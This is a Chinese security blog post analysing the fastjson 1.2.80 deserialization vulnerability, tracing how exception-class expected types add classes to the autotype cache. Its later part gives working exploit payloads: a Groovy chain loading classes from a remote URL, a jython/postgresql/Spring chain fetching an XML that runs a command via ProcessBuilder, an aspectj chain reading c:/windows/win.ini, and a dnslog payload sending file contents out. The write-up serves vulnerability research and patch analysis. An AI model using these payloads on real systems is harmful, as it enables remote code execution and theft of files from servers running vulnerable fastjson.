警告
本文最后更新于 2022-09-20,文中内容可能已过时。
学习一下浅蓝的《Hacking JSON》议题。
fastjson1.2.47是通过MiscCodec向白名单缓存中put任意类。

fastjson1.2.68是用的期望类,
找实现了AutoCloseable接口的子类中的危险操作。

1.2.68的修复方式简单粗暴,将java.lang.Runnable
、java.lang.Readable
和java.lang.AutoCloseable
加入了黑名单,那么1.2.80用的就是另一个期望类:异常类Throwable。


浅蓝给了两张图说明他的挖掘思路。
关键点就在于反序列化setter method parameter OR public field(无视autotype)时添加类到白名单

给了上图的挖掘思路,那么我们就要弄明白为什么setter参数、公有字段、构造函数参数这三个点的类型会被加到白名单缓存mapping中。
先写几个demo来看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.util.TypeUtils;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.concurrent.ConcurrentMap;
public class Main {
public static void main(String[] args) throws Exception {
String json2 = new String(Files.readAllBytes(Paths.get("1.txt")));
try {
Object parse = JSON.parse(json2);
System.out.println(parse);
} catch (Exception e) {
e.printStackTrace();
}
Field mappings = TypeUtils.class.getDeclaredField("mappings");
mappings.setAccessible(true);
ConcurrentMap<String, Class<?>> o = (ConcurrentMap<String, Class<?>>) mappings.get(TypeUtils.class);
System.out.println("----------------");
o.forEach((k, v) -> {
if (k.contains("My")) {
System.out.println(k);
}
});
}
}
|
1
2
3
| public class MyClass {
public String name;
}
|
1
2
3
4
5
6
7
| public class MyException extends Throwable {
private MyClass clazz;
public void setClazz(MyClass clazz) {
this.clazz = clazz;
}
}
|
我们构造一个json来讲解漏洞原理
1
2
3
4
5
6
7
8
9
10
11
| {
"a":{
"@type":"java.lang.Exception",
"@type":"MyException",
"clazz":{},
"stackTrace":[]
},
"b":{
"@type":"MyClass","name":"asd"
}
}
|
a部分就是众所周知的期望类,用继承了Exception的MyException类作为type。
在com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)
中

expectClassFlag为true,所以会从classloader中加载MyException拿到class
并且期望类不为空时会把目标类加入到类缓存中TypeUtils.addMapping(typeName, clazz)

解决完两个type标签之后,现在来看clazz标签的解析过程
因为是异常类,所以在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
拿到的是ThrowableDeserializer反序列化器

深究getDeserializer函数

如果是type传入的是Class则进入com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type)
这个函数中会针对不同类的class类型分配相应的反序列化器

并且最终都会将type和deserializer的对应关系put到自身的deserializers map中com.alibaba.fastjson.parser.ParserConfig#putDeserializer

拿到对应的反序列化器之后进入com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze

先createException通过构造函数创建异常实例,然后通过getDeserializer拿到对应的反序列化器,然后用反序列化器拿到对应字段的字段反序列化实例FieldDeserializer

如果value不是fieldClass类型的会进入com.alibaba.fastjson.util.TypeUtils#cast(java.lang.Object, java.lang.reflect.Type, com.alibaba.fastjson.parser.ParserConfig)
进行类型转换
多次判断之后会进入com.alibaba.fastjson.util.TypeUtils#cast(java.lang.Object, java.lang.Class<T>, com.alibaba.fastjson.parser.ParserConfig)

在这个函数中会根据传入对象的具体类型来进行对应的类型转换操作,因为我们传入的是"clazz":{}
也就是一个JSONObject,所以走到Map的类型转换,进入
com.alibaba.fastjson.util.TypeUtils#castToJavaBean(java.util.Map<java.lang.String,java.lang.Object>, java.lang.Class<T>, com.alibaba.fastjson.parser.ParserConfig)

在这里又一次进入getDeserializer,而此时参数是MyException类clazz字段的类型,即MyClass。
那么重点来了,此时在com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type)
函数中

调用自身putDeserializer函数,填充ParserConfig自身的this.deserializers.put(type, deserializer)
而在com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)
中

在反序列化json中的b标签时,对"@type":"MyClass"
进行checkAutoType时就能拿到MyClass类而不会抛出异常了。
到此分析结束。捋一下思路,根据异常类作为期望类时,会先用构造函数创建出MyException实例,然后绑定对应字段,调用setter。而字段类型MyClass在进入getDeserializer函数时会被put到ParserConfig的deserializers列表中,这样造成在checkautotype时可以通过deserializers拿到对应的MyClass类而不会为null。
类字段如此,构造函数的参数和setter的参数应该也是大差不差。
- https://github.com/alibaba/fastjson/commit/35db4adad70c32089542f23c272def1ad920a60d
- https://github.com/alibaba/fastjson/commit/8f3410f81cbd437f7c459f8868445d50ad301f15
除了黑白名单的变化以外就是直接端掉异常类这条路。

并且在加类缓存时多了一次autotype判断

整理一下poc,一些探测版本、探测依赖什么的懒得弄了。
依赖groovy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| {
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}
{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://127.0.0.1:8090/"
}
}
|
META-INF/services/org.codehaus.groovy.transform.ASTTransformation
文件中写Evil,然后创建一个Evil类写自己的命令执行代码。

依赖jython+postgresql+spring-context
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| {
"a":{
"@type":"java.lang.Exception",
"@type":"org.python.antlr.ParseException",
"type":{}
},
"b":{
"@type":"org.python.core.PyObject",
"@type":"com.ziclix.python.sql.PyConnection",
"connection":{
"@type":"org.postgresql.jdbc.PgConnection",
"hostSpecs":[
{
"host":"127.0.0.1",
"port":2333
}
],
"user":"user",
"database":"test",
"info":{
"socketFactory":"org.springframework.context.support.ClassPathXmlApplicationContext",
"socketFactoryArg":"http://127.0.0.1:8090/exp.xml"
},
"url":""
}
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| <beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<list value-type="java.lang.String" >
<value>cmd</value>
<value>/c</value>
<value>calc</value>
</list>
</constructor-arg>
<property name="whatever" value="#{pb.start()}"/>
</bean>
</beans>
|

分三次打
1
2
3
4
| {
"@type":"java.lang.Exception",
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| {
"@type":"java.lang.Class",
"val":{
"@type":"java.lang.String"{
"@type":"java.util.Locale",
"val":{
"@type":"com.alibaba.fastjson.JSONObject",
{
"@type":"java.lang.String"
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
"newAnnotationProcessorUnits":[{}]
}
}
}
|
1
2
3
4
5
6
7
| {
"x":{
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName":"c:/windows/win.ini"
}
}
|

回显可以用报错或者dnslog,只改第三部分的payload为
1
2
3
4
5
6
7
8
9
| {
"@type":"java.lang.Character"
{
"c":{
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName":"c:/windows/win.ini"
}
}
|

dnslog win平台下我没成功
1
2
3
4
| { "a":{"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit","@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit","fileName":"1.txt"},
"b":{"@type":"java.net.Inet4Address","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{
"@type": "java.lang.String""@type":"java.util.Locale","language":{"@type":"java.lang.String"{"$ref":"$"},"country":"x.xnfhnufo.dnslog.pw"}}
}}
|
su18整理了很多payload在他的GitHub上,放个链接在这
- 《Hacking JSON》
- https://hosch3n.github.io/2022/09/01/Fastjson1-2-80%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
- https://moonsec.top/articles/112
- https://github.com/su18/hack-fastjson-1.2.80
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。